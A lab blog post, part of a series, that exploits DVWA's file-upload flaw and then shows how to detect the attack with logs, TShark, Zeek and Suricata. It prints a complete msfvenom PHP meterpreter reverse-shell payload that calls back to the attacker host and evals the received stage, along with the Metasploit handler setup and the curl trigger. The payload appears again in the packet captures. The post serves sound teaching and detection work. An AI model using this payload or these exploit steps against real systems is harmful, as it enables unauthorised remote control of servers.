This post is part of the series of learning more about Nikto and web application scanning from the perspectives of both the hack and its detection.
From the hacking perspective, Nikto is the tool used. From detection perspective, the tools and or processed used for the network forensics are log analysis, TShark, Zeek and Suricata.
The Hack - Beginning Nikto - File Upload Vulnerability testing
Trying a different scan by providing the entire URL
┌──(kali㉿securitynik)-[~/nikto_stuff/tuning_0] └─$ nikto -host http://10.0.0.106/dvwa/vulnerabilities/upload/ -ipv4 -Display 1 --ask no - -nossl -no404 -Tuning 0
Nothing much changed from what you saw in the earlier posts. Manually performing the exploit.
In this case, I'm transitioning to the manual exploitation of the file Upload vulnerability.
Visit the file upload page within DVWA.
Open the browser "Web Developer Tools" and select the "Network" tab.
Upload the file via the web application and we see the file successfully uploaded.
The upload also confirms the location the file was uploaded to "./../hackable/uploads/hack_and_detect.png succesfully uploaded!". This looks like two directories down from the current directory.
Revisiting the "Web Developer Tools", extracting a few lines of interest. First from the request:
Headers tab: ** scheme: http host: 10.0.0.106 filename: /dvwa/vulnerabilities/upload/ Request tab: -----------------------------12554550258851086011705289877 Content-Disposition: form-data; name="MAX_FILE_SIZE" 100000 -----------------------------12554550258851086011705289877 Content-Disposition: form-data; name="uploaded"; filename="hack_and_detect.png" Content-Type: image/png ‰PNG ... 0çJ3ÄÉæ}›6œý× ... -----------------------------12554550258851086011705289877 Content-Disposition: form-data; name="Upload" Upload -----------------------------12554550258851086011705289877--
Looking at "Response" tab:
../../hackable/uploads/hack_and_detect.png succesfully uploaded!
With this in place, can we use curl to get this file?
┌──(kali㉿securitynik)-[~/file_upload] └─$ curl --request GET "http://10.0.0.106/dvwa/hackable/uploads/hack_and_detect.png" --output /tmp/hack_and_detect.png % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 64493 100 64493 0 0 7641k 0 --:--:-- --:--:-- --:--:-- 7872k
Verify the file was downloaded and its size:
┌──(kali㉿securitynik)-[~/file_upload] └─$ ls /tmp/hack_and_detect.png -l -rw-r--r-- 1 kali kali 64493 Jun 22 15:25 /tmp/hack_and_detect.png
Open the file with "feh"
With confirmation that the file is in place, this means we may be able to upload other files.
Leveraging msfvenom to create a malicious PHP file.
┌──(kali㉿securitynik)-[/tmp] └─$ msfvenom --payload php/meterpreter/reverse_tcp LHOST=10.0.0.108 LPORT=9999 --format raw --out malicious.php [-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload [-] No arch selected, selecting arch: php from the payload No encoder specified, outputting raw payload Payload size: 1111 bytes Saved as: malicious.php
View the created code
┌──(kali㉿securitynik)-[/tmp] └─$ cat malicious.php /*<?php /**/ error_reporting(0); $ip = '10.0.0.108'; $port = 9999; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
Upload the malicious .php file, using the same process we did for the other files.
Setup a resource file using the multi-handler to load with msfconsole.
┌──(kali㉿securitynik)-[~] └─$ cat dvwa.rc #File Upload Vulnerability use exploit/multi/handler set PAYLOAD php/meterpreter/reverse_tcp set LHOST 10.0.0.108 set LPORT 9999 exploit
Load up the resource file with msfconsole
┌──(kali㉿securitynik)-[~] └─$ msfconsole --quiet --resource dvwa.rc [*] Processing dvwa.rc for ERB directives. resource (dvwa.rc)> use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp resource (dvwa.rc)> set PAYLOAD php/meterpreter/reverse_tcp PAYLOAD => php/meterpreter/reverse_tcp resource (dvwa.rc)> set LHOST 10.0.0.108 LHOST => 10.0.0.108 resource (dvwa.rc)> set LPORT 9999 LPORT => 9999 resource (dvwa.rc)> exploit [*] Started reverse TCP handler on 10.0.0.108:9999
Use curl to access the malicious.php file.
┌──(kali㉿securitynik)-[~] └─$ curl --request GET http://10.0.0.106/dvwa/hackable/uploads/malicious.php
At this point, curl hangs and the MSF handler opens a session.
[*] Sending stage (39927 bytes) to 10.0.0.106 [*] Meterpreter session 1 opened (10.0.0.108:9999 -> 10.0.0.106:49786) at 2023-06-22 15:29:04 -0400
meterpreter > sysinfo Computer : NIK-WIN-10 OS : Windows NT NIK-WIN-10 10.0 build 19044 (Windows 10) AMD64 Meterpreter : php/windows
While we can do more, there is no need for this at this point. Objective achieved!
Exit Meterpreter:
meterpreter > exit -j [*] Shutting down Meterpreter...
Transitioning to log analysis.
Detect - Log Analysis
Looking at the HTTP access.log file, there is nothing standing out here. Realistically, the only question to be asked here is if files should have been able to access from "/dvwa/hackable/uploads". Other than that, there is nothing here that stands out to me to suggest there was a problem.
10.0.0.108 - - [22/Jun/2023:15:23:33 -0400] "POST /dvwa/vulnerabilities/upload/ HTTP/1.1" 200 4061 "http://10.0.0.106/dvwa/vulnerabilities/upload/" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0" 10.0.0.108 - - [22/Jun/2023:15:24:42 -0400] "GET /dvwa//hackable/uploads/hack_and_detect.png HTTP/1.1" 200 64493 "-" "curl/7.88.1" 10.0.0.108 - - [22/Jun/2023:15:26:45 -0400] "POST /dvwa/vulnerabilities/upload/ HTTP/1.1" 200 4055 "http://10.0.0.106/dvwa/vulnerabilities/upload/" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0" 10.0.0.108 - - [22/Jun/2023:15:28:29 -0400] "GET /dvwa/hackable/uploads/malicious.php HTTP/1.1" 200 2 "-" "curl/7.88.1"
Transitioning to packet analysis
Detect - Packet Analysis
Setup for packet analysis. Capture packets on ports 80,443 or 9999
┌──(kali㉿securitynik)-[~/file_upload] └─$ tshark -n -w ./file_upload.pcap -f 'tcp port(80 or 443 or 9999)' --interface eth0 Capturing on 'eth0' ** (tshark:213735) 14:10:39.726904 [Main MESSAGE] -- Capture started. ** (tshark:213735) 14:10:39.726964 [Main MESSAGE] -- File: "./file_upload.pcap"
Analyzing the PCAP. No noeed to go through the entire process. We've done a lot of the heavy lifting in the earlier posts. Hence building on what was done before.
How many unique streams/sessions do we have in this PCAP.
┌──(kali㉿securitynik)-[~/file_upload] └─$ tshark -n -r file_upload.pcap -T fields -e tcp.stream | sort --unique | wc --lines 5
With 5 streams, we should be able to quickly analyze these. Starting with stream 0.
Looking at the first 30 lines of the reassembled TCP stream.
┌──(kali㉿securitynik)-[~/file_upload]
└─$ tshark -n -r file_upload.pcap -q -z follow,tcp,ascii,0 | head --lines=30
===================================================================
Follow: tcp,ascii
Filter: tcp.stream eq 0
Node 0: 10.0.0.108:55686
Node 1: 10.0.0.106:80
1460
POST /dvwa/vulnerabilities/upload/ HTTP/1.1
Host: 10.0.0.106
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------40506030756611040921021496595
Content-Length: 64966
Origin: http://10.0.0.106
Connection: keep-alive
Referer: http://10.0.0.106/dvwa/vulnerabilities/upload/
Cookie: security=low; PHPSESSID=i16a2p6b95up7nrnbi3foov7bf
Upgrade-Insecure-Requests: 1
-----------------------------40506030756611040921021496595
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000
-----------------------------40506030756611040921021496595
Content-Disposition: form-data; name="uploaded"; filename="hack_and_detect.png"
Content-Type: image/png
.PNG
We see above, the file which was uploaded have a name of "hack_and_detect.png" and it's a .PNG image file as can be seen from "Content-Type: image/png".
Was this file upload successful? Looking for any report of the file name being successfully uploaded.
┌──(kali㉿securitynik)-[~/file_upload] └─$ tshark -n -r file_upload.pcap -q -z follow,tcp,ascii,0 | grep "hack_and_detect" Content-Disposition: form-data; name="uploaded"; filename="hack_and_detect.png" ..<pre>../../hackable/uploads/hack_and_detect.png succesfully uploaded!</pre>
Let's see what is in stream 1.
┌──(kali㉿securitynik)-[~/file_upload]
└─$ tshark -n -r file_upload.pcap -q -z follow,tcp,ascii,1 | head --lines=25
===================================================================
Follow: tcp,ascii
Filter: tcp.stream eq 1
Node 0: 10.0.0.108:55814
Node 1: 10.0.0.106:80
116
GET /dvwa//hackable/uploads/hack_and_detect.png HTTP/1.1
Host: 10.0.0.106
User-Agent: curl/7.88.1
Accept: */*
1460
HTTP/1.1 200 OK
Date: Thu, 22 Jun 2023 19:24:42 GMT
Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
Last-Modified: Thu, 22 Jun 2023 19:23:33 GMT
ETag: "fbed-5febcd1f850e8"
Accept-Ranges: bytes
Content-Length: 64493
Content-Type: image/png
.PNG
Above looks like a request was made for the same image, which was previously uploaded.
Looking at stream 2
┌──(kali㉿securitynik)-[~/file_upload]
└─$ tshark -n -r file_upload.pcap -q -z follow,tcp,ascii,2 | head --lines=33
===================================================================
Follow: tcp,ascii
Filter: tcp.stream eq 2
Node 0: 10.0.0.108:47986
Node 1: 10.0.0.106:80
1460
POST /dvwa/vulnerabilities/upload/ HTTP/1.1
Host: 10.0.0.106
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------3215483674970812347988844840
Content-Length: 1582
Origin: http://10.0.0.106
Connection: keep-alive
Referer: http://10.0.0.106/dvwa/vulnerabilities/upload/
Cookie: security=low; PHPSESSID=i16a2p6b95up7nrnbi3foov7bf
Upgrade-Insecure-Requests: 1
-----------------------------3215483674970812347988844840
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000
-----------------------------3215483674970812347988844840
Content-Disposition: form-data; name="uploaded"; filename="malicious.php"
Content-Type: application/x-php
/*<?php /**/ error_reporting(0); $ip = '10.0.0.108'; $port = 9999; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_ty
752
pe) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
-----------------------------3215483674970812347988844840
There we see a php file was uploaded. Was the upload successful?
┌──(kali㉿securitynik)-[~/file_upload] └─$ tshark -n -r file_upload.pcap -q -z follow,tcp,ascii,2 | grep "malicious.php" Content-Disposition: form-data; name="uploaded"; filename="malicious.php" ..<pre>../../hackable/uploads/malicious.php succesfully uploaded!</pre>
Yes it was. Moving on to stream 3.
┌──(kali㉿securitynik)-[~/file_upload]
└─$ tshark -n -r file_upload.pcap -q -z follow,tcp,ascii,3
===================================================================
Follow: tcp,ascii
Filter: tcp.stream eq 3
Node 0: 10.0.0.108:33048
Node 1: 10.0.0.106:80
109
GET /dvwa/hackable/uploads/malicious.php HTTP/1.1
Host: 10.0.0.106
User-Agent: curl/7.88.1
Accept: */*
214
HTTP/1.1 200 OK
Date: Thu, 22 Jun 2023 19:28:29 GMT
Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
X-Powered-By: PHP/8.0.28
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
2
/*
5
0
===================================================================
Stream 3 seems to be just the request for the malicious.php file using curl but not much details in side the response. Very interesting.
Looking at stream 4.
┌──(kali㉿securitynik)-[~/file_upload] └─$ tshark -n -r file_upload.pcap -q -z follow,tcp,ascii,4 | more =================================================================== Follow: tcp,ascii Filter: tcp.stream eq 4 Node 0: 10.0.0.106:49786 Node 1: 10.0.0.108:9999 4 .... 1460 /*<?php /**/ if (!isset($GLOBALS['channels'])) { $GLOBALS['channels'] = array(); } ....
We see something here to do with .php. Looking further in the payload we ultimately see.
┌──(kali㉿securitynik)-[~/file_upload] └─$ tshark -n -r file_upload.pcap -q -z follow,tcp,ascii,4 | grep meter my_print("Evaling main meterpreter stage");
That's a big clue that we have a real problem here on port 9999.
At this point, we know there are a number of files within these HTTP sessions. Fortunately, TShark can extract content from HTTP so we don't have to manually attempt to carve any of these. Let's extract those files with TShark.
Looking at the help, we see the TShark --export-objects usage.
┌──(kali㉿securitynik)-[~/file_upload] └─$ tshark --export-objects --help tshark: "--export-objects" are specified as: <protocol>,<destdir> tshark: The available export object types for the "--export-objects" option are: dicom ftp-data http imf smb tftp
Exporting from HTTP.
┌──(kali㉿securitynik)-[~/file_upload] └─$ tshark -n -r file_upload.pcap -q --export-objects http,./exported-contents/
Looking at the exported contents we see:
┌──(kali㉿securitynik)-[~/file_upload] └─$ ls -l exported-contents/ total 144 -rw-r--r-- 1 kali kali 64493 Jun 23 08:31 hack_and_detect.png -rw-r--r-- 1 kali kali 2 Jun 23 08:31 malicious.php -rw-r--r-- 1 kali kali 64966 Jun 23 08:31 upload -rw-r--r-- 1 kali kali 4061 Jun 23 08:31 'upload(1)' -rw-r--r-- 1 kali kali 1582 Jun 23 08:31 'upload(2)' -rw-r--r-- 1 kali kali 4055 Jun 23 08:31 'upload(3)'
Confirming the files using the file command.
┌──(kali㉿securitynik)-[~/file_upload] └─$ file exported-contents/* exported-contents/hack_and_detect.png: PNG image data, 178 x 127, 8-bit/color RGBA, non-interlaced exported-contents/malicious.php: ASCII text, with no line terminators exported-contents/upload: data exported-contents/upload(1): HTML document, ASCII text, with very long lines (472), with CRLF, LF line terminators exported-contents/upload(2): ASCII text, with very long lines (1111), with CRLF line terminators exported-contents/upload(3): HTML document, ASCII text, with very long lines (472), with CRLF, LF line terminators
At this point, you can analyze the file as needed. I will transition to Zeek to see what is saw.
Detect - Zeek Analysis
Setup Zeek
┌──(kali㉿securitynik)-[~/nikto_stuff/zeek_stuff] └─$ sudo zeek --iface any --no-checksums
Focusing on the indicators of compromise, "hack_and_detect.png" and "malicious.php". First "hack_and_detect.png"
└─$ cat http.log | grep --perl-regexp "hack_and_detect" 1687461839.117382 CcgONKdzshQp8ZH68 10.0.0.108 55686 10.0.0.106 80 1 POST 10.0.0.106 /dvwa/vulnerabilities/upload/ http://10.0.0.106/dvwa/vulnerabilities/upload/ 1.1 Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 http://10.0.0.106 64966 4061 200 OK - - (empty) - - - F8D5nXnU24QCFs3ni,FL8pyG3KgVYBxGp5J8,FjahXg2bW4MO7TWJok hack_and_detect.png image/png Fr5Uwyf1md9rma0F1 - text/html 1687461900.287690 Ca15Kb1F57kcgJCx8j 10.0.0.108 55814 10.0.0.106 80 1 GET 10.0.0.106 /dvwa//hackable/uploads/hack_and_detect.png - 1.1 curl/7.88.1 - 0 64493 200 OK - - (empty) - - - - - - FRXytH1roWzznSMp5d - image/png
Looking at malicious.php.
┌──(kali㉿securitynik)-[~/file_upload] └─$ cat http.log | grep --perl-regexp "malicious.php" 1687462020.720561 C9k6p6FxgHAgjfjGa 10.0.0.108 47986 10.0.0.106 80 1 POST 10.0.0.106 /dvwa/vulnerabilities/upload/ http://10.0.0.106/dvwa/vulnerabilities/upload/ 1.1 Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 http://10.0.0.106 1582 4055 200 OK - - (empty) - - - FbKoDB2gXDz6wz2Z74,F3m3sc1e7ZmJMAs5Cc,FVC9nG4cwHcT19LmOa malicious.php text/x-php Fnwwck3gnEGZ79OWy1 - text/html 1687462143.814819 CwNOXb1eZ6LvtPEI96 10.0.0.108 33048 10.0.0.106 80 1 GET 10.0.0.106 /dvwa/hackable/uploads/malicious.php - 1.1 curl/7.88.1 -02 200 OK - - (empty) - - - - - - FVkDFy3Q20vdj9aPCk - -
Looking across the various logs for the UID "C9k6p6FxgHAgjfjGa" and removing the files with 0 bytes, we get
┌──(kali㉿securitynik)-[~/file_upload] └─$ grep "C9k6p6FxgHAgjfjGa" *.log | grep --perl-regexp "1111|4055" files.log:1687462020.720573 F3m3sc1e7ZmJMAs5Cc C9k6p6FxgHAgjfjGa 10.0.0.108 47986 10.0.0.106 80 HTTP 0 (empty) text/x-php malicious.php 0.000000 - T 1111 - 0 0 F - - - - - -- files.log:1687462020.751930 Fnwwck3gnEGZ79OWy1 C9k6p6FxgHAgjfjGa 10.0.0.108 47986 10.0.0.106 80 HTTP 0 (empty) text/html - 0.000001 - F 4055 4055 0 0 F - - - - - - - http.log:1687462020.720561 C9k6p6FxgHAgjfjGa 10.0.0.108 47986 10.0.0.106 80 1 POST 10.0.0.106 /dvwa/vulnerabilities/upload/ http://10.0.0.106/dvwa/vulnerabilities/upload/ 1.1 Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 http://10.0.0.106 1582 4055 200 OK - - (empty) - - - FbKoDB2gXDz6wz2Z74,F3m3sc1e7ZmJMAs5Cc,FVC9nG4cwHcT19LmOa malicious.php text/x-php Fnwwck3gnEGZ79OWy1 - text/html
Obviously, there are entries in the conn.log file. However, the objective is to keep things simple for this analysis.
Moving on the the IDS/IPS.
Detect - Suricata (IDS) Analysis
Setup Suricata to operate in IDS mode
┌──(kali㉿securitynik)-[/var/log/suricata] └─$ sudo suricata -c /etc/suricata/suricata.yaml -s /var/lib/suricata/rules/suricata.rules -i eth0 -l /var/log/suricata/ --simulate-ips -k all
How many alerts triggered for this activity?
┌──(kali㉿securitynik)-[/var/log/suricata] └─$ cat fast.log | grep --perl-regexp '\[\*\*\].*?\[\**\]' --only-matching | wc --lines 1
Hmmm! One alert! Interesting!!
┌──(kali㉿securitynik)-[/var/log/suricata] └─$ cat fast.log 06/22/2023-15:27:00.720561 [**] [1:2011768:8] ET WEB_SERVER PHP tags in HTTP POST [**] [Classification: Web Application Attack] [Priority: 1] {TCP} 10.0.0.108:47986 -> 10.0.0.106:80
Looking at the alert-debug.log file
┌──(kali㉿securitynik)-[/var/log/suricata] └─$ cat alert-debug.log | more +================ TIME: 06/22/2023-15:27:00.720561 PKT SRC: wire/pcap SRC IP: 10.0.0.108 DST IP: 10.0.0.106 PROTO: 6 SRC PORT: 47986 DST PORT: 80 TCP SEQ: 2986100032 TCP ACK: 2432827111 FLOW: to_server: TRUE, to_client: FALSE FLOW Start TS: 06/22/2023-15:27:00.719233 FLOW PKTS TODST: 3 FLOW PKTS TOSRC: 1 FLOW Total Bytes: 1708 FLOW IPONLY SET: TOSERVER: TRUE, TOCLIENT: TRUE FLOW ACTION: DROP: FALSE FLOW NOINSPECTION: PACKET: FALSE, PAYLOAD: FALSE, APP_LAYER: FALSE FLOW APP_LAYER: DETECTED: TRUE, PROTO 1 PACKET LEN: 1514 PACKET: ...
We can see that this ties in above with the other network based traffic, especially when we focus on TCP port 47986.
Peeking a bit more into this php traffic.
┌──(kali㉿securitynik)-[/var/log/suricata] └─$ cat alert-debug.log | grep ".php" 03C0 63 61 74 69 6F 6E 2F 78 2D 70 68 70 0D 0A 0D 0A cation/x -php.... 03D0 2F 2A 3C 3F 70 68 70 20 2F 2A 2A 2F 20 65 72 72 /*<?php /**/ err 0370 2E 70 68 70 22 0D 0A 43 6F 6E 74 65 6E 74 2D 54 .php"..C ontent-T 0390 2F 78 2D 70 68 70 0D 0A 0D 0A 2F 2A 3C 3F 70 68 /x-php.. ../*<?ph 0370 2E 70 68 70 22 0D 0A 43 6F 6E 74 65 6E 74 2D 54 .php"..C ontent-T 0390 2F 78 2D 70 68 70 0D 0A 0D 0A 2F 2A 3C 3F 70 68 /x-php.. ../*<?ph
Well I'm going to close off for now.
Hope you enjoyed the posts in this series:
References:
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